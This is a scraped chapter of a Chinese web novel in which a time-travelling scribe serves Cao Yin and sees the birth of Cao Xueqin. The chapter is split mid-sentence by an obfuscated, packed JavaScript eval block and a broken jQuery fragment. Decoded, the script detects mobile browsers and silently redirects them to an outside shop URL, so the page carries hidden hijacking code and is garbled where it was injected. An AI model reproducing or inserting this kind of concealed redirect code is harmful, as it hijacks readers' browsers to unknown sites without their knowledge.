文趣网 > 其他小说 > 暮华朝血录 > 27. 第二十七章 织造
    洪武二年的夏天,冯七在江宁织造署的书房里,见到了新朝的第一任江宁织造。

    此人姓曹,名寅,字子清,四十来岁,身材微胖,面容和善,说话慢条斯理,带着一股江南文人特有的温润气息。他上任的第一天,在书房里转了一圈,看了看满架的书卷,摸了摸书案的质地,然后转过身来,看着站在角落里的冯七。

    “你叫什么名字?”

    “回大人,小的叫冯七。”

    “冯七。”曹寅念了一遍这个名字,点了点头,“你在这书房里当差多久了?”

    “回大人,从暮华朝崇文十八年开始,到现在有三年了。”

    曹寅的目光在他脸上停了一瞬。

    “暮华朝的事,你还记得?”

    冯七的心跳快了一拍。新朝初立,对前朝旧事讳莫如深。他不知道自己该说记得还是不记得。犹豫了一瞬,他选择了实话。

    “记得一些。”

    曹寅没有追问。他走到书架前,随手抽出一本书,翻了翻,又放回去。

    “这书房里的书,你都看过?”

    “不敢说都看过。整理得多了,大概知道哪一本在哪个位置。”

    曹寅转过身来,看着他,目光里多了一些东西——不是审视,是好奇。

    “你识字?”

    “识一些。”

    “读什么书?”

    冯七想了想,说了和当年在御书房里一样的回答:“什么都读,但什么都不精。”

    曹寅忽然笑了。那笑容很淡,但很真,像一杯泡得恰到好处的茶,不浓不淡,刚好润喉。

    “有意思。”他说,“你留在这里,还做你原来的事。书房的规矩不用变,照旧就好。”

    冯七应了一声,退出了书房。他站在廊下,长长地吐出一口气。后背的衣服已经被冷汗浸湿了。不是因为害怕,而是因为紧张。曹寅这个人,他听说过。在原来的世界里,他读过的那些关于清朝历史的书里,曹寅的名字出现过很多次。江宁织造,曹雪芹的祖父。他没想到自己会在这里、以这样的方式,和这个人产生交集。

    命运真是一件奇妙的事。他在心里想。一个从二十一世纪穿越而来的历史系研究生,在另一个时空里,给曹雪芹的祖父当书童。

    他不知道自己该笑还是该哭。

    洪武三年,曹寅在江宁织造署的后院,建了一座小亭子。亭子不大,四根柱子,一个顶,普普通通,但他给这座亭子取了一个不普通的名字——“楝亭”。楝是一种树,江南很常见,春天开紫色的花,细碎碎的,不张扬,但有一种淡淡的香气。

    曹寅在亭子里摆了一张石桌、几个石凳,夏天的晚上常在这里纳凉、喝茶、看书。有时候他叫冯七过来,让他坐在石凳上,陪他说说话。说的不是什么大事,大多是些闲散的话题——今年的丝绸收成如何,江南的天气与往年有什么不同,街上新开的那家点心铺子的枣泥酥做得如何。冯七陪他说话的时候,总是很小心,不该说的不说,不该问的不问。但曹寅似乎并不在意这些。他问冯七读过什么书,冯七就老老实实地说;他问冯七对某首诗的看法,冯七就老老实实地答。一来二去,曹寅对这个沉默寡言的小太监,多了几分赏识。

    “冯七,”有一天晚上,曹寅坐在楝亭里,手里摇着折扇,看着天上的月亮,“你说你是从暮华朝过来的,那你在暮华朝的宫里,见过些什么?”

    冯七沉默了片刻。

    “小的见过很多人,也见过很多人死。”

    曹寅的折扇停了。

    “很多人死。”

    “是。”

    “你怕不怕?”

    冯七想了想,说了一个不算回答的回答:“怕也没用。该来的总会来,躲不掉。”

    曹寅看着他,目光里有什么东西在闪动。过了很久,他重新摇起了折扇,扇面上画着一枝梅花,在月光下泛着淡淡的光泽。冯七看着那枝梅花,忽然想起了苏公公送给他的那把折扇。扇面上也画着一枝梅花,笔触简淡,落款处盖着一枚印章——“冯记”。那把折扇他一直收着,压在枕头底下,和那沓笔记放在一起。那是他仅存的几样东西之一,轻易不拿出来,怕弄坏了。

    “冯七,”曹寅忽然说,“你愿不愿意教我识字?”

    冯七愣住了。

    “大人,小的哪敢教您——”

    “我不是说教我。”曹寅打断了他,语气里带着一丝笑意,“我是说,你给我当个伴读。我看书的时候,你坐在旁边,我看到不认识的字,你告诉我。你识字,我也识字,但两个人一起看,总比一个人有意思。”

    冯七看着曹寅的脸,月光照在他的脸上,把那些皱纹照得格外清楚。他四十多岁了,在这个时代已经不算年轻。他的眼睛里有一种东西,不是皇上的威严,不是太监的算计,不是谋士的锐利——是文人的温润,是那种在书卷里泡了一辈子的人才会有的、从容不迫的、与世无争的气质。

    “小的愿意。”冯七说。

    从那天起,冯七每天晚上都到楝亭来,陪着曹寅看书。曹寅看书很杂,经史子集、诗词歌赋、小说戏曲,什么都看。他看书的时候很安静,不说话,只有翻书的声音,沙沙的,像秋天的落叶在地上刮过。冯七坐在一旁,手里也拿着一本书,但常常看不进去。他在想曹寅这个人。一个在前朝算不上显赫的文人,在新朝却做到了江宁织造这样的肥缺,靠的是什么?靠才学?靠人脉?还是靠别的什么?

    他不知道。但他知道,曹寅对他不错。在这个人人自危的时代里,有人对你好,不问原因,只管记着。记在心里,记在笔记里,记在骨头里。总有一天,这些好会变成另一种东西,变成你活下去的理由,变成你往前走的力量。

    洪武四年,曹寅的长孙出生了。消息传来的时候,曹寅正在楝亭里看书。他放下书,沉默了片刻,然后

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680434|207663||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    站起身来,走到亭子边上,看着院子里的那棵楝树。楝树正开着花,紫的,细碎碎的,一簇一簇地挤在一起,像一堆小小的、紫色的云。

    “冯七,”他说,“你知道我给这孩子取了个什么名字吗?”

    “小的不知。”

    “曹霑。”曹寅转过身来,看着他,脸上带着一种冯七从未见过的表情——不是喜悦,不是骄傲,是一种说不清的、深沉的、像是把所有的期望都压在了这个名字上。“霑,雨露霑溉的霑。我希望他这一生,能像雨露一样,润泽万物,泽被苍生。”

    冯七站在那里,手在袖子里攥成了拳头。曹霑。曹雪芹。写《红楼梦》的那个人,写“满纸荒唐言,一把辛酸泪”的那个人,写“白茫茫大地真干净”的那个人。他原来以为,他来到这个时代,只是为了见证两个王朝的更替盛衰,只是为了记住那些被遗忘的人和事。但这一刻,他忽然觉得,或许还有别的原因——或许,他来到这个时代,也是为了遇见这个人,为了在这个人的祖父身边,看着他出生,看着他长大,看着他写出那部千古不朽的巨著。

    命运真是一件奇妙的事。他在心里又念了一遍。奇妙到他不知道该感激还是该恐惧。

    那天晚上,冯七在笔记上写道:

    “洪武四年,夏,楝树花开。曹寅之孙出生,取名曹霑。霑者,雨露霑溉也。大人说,希望他这一生能润泽万物。”

    他停了一下,又加了一行:

    “奴才不知这孩子将来会如何。但奴才隐隐觉得,他会长大,会写出一些东西,一些比这个时代更长久的东西。”

    写完这行字,他看着那支笔。笔杆上的“安生”两个字在烛光下泛着淡淡的黄色,安王的安,冯七的生。赵珩把这支笔送给他的时候,有没有想过,这支笔会写下曹雪芹的名字?他不知道。但他觉得,赵珩会高兴的。赵珩喜欢读书,喜欢写字,喜欢所有和纸墨有关的东西。如果他知道了,一定会笑着说:“冯七,你这支笔,比我用的时候厉害多了。”

    冯七把笔记藏好,吹灭了灯,躺在床上。黑暗中,他摸着脖子上的玉扳指和铜钱,摸着枕头底下的那支笔。三样东西贴在一起,温热的,像是在彼此取暖。窗外的月亮很圆,很亮,照得院子里像白天一样。他睁着眼睛,看着头顶的房梁。房梁上那只蜘蛛又回来了,在月光下慢慢地结网,一圈一圈地绕,绕得很慢,但很认真。

    冯七看着那只蜘蛛,忽然觉得自己和它很像。他也在结一张网,一张由记忆编织而成的网,每一个结都是一条命,每一个网眼都是一天。他结得很慢,很辛苦,但他必须结下去。因为那是他活着的意义。

    他翻了个身,把被子裹紧。脖子上的玉扳指贴着胸口,温热的。铜钱贴着玉扳指,发出细微的碰撞声,叮的一声,像是有人在远处敲了一下钟。那声音很小,但在寂静的夜里,却格外清晰,像一声叹息。

    冯七闭上眼睛。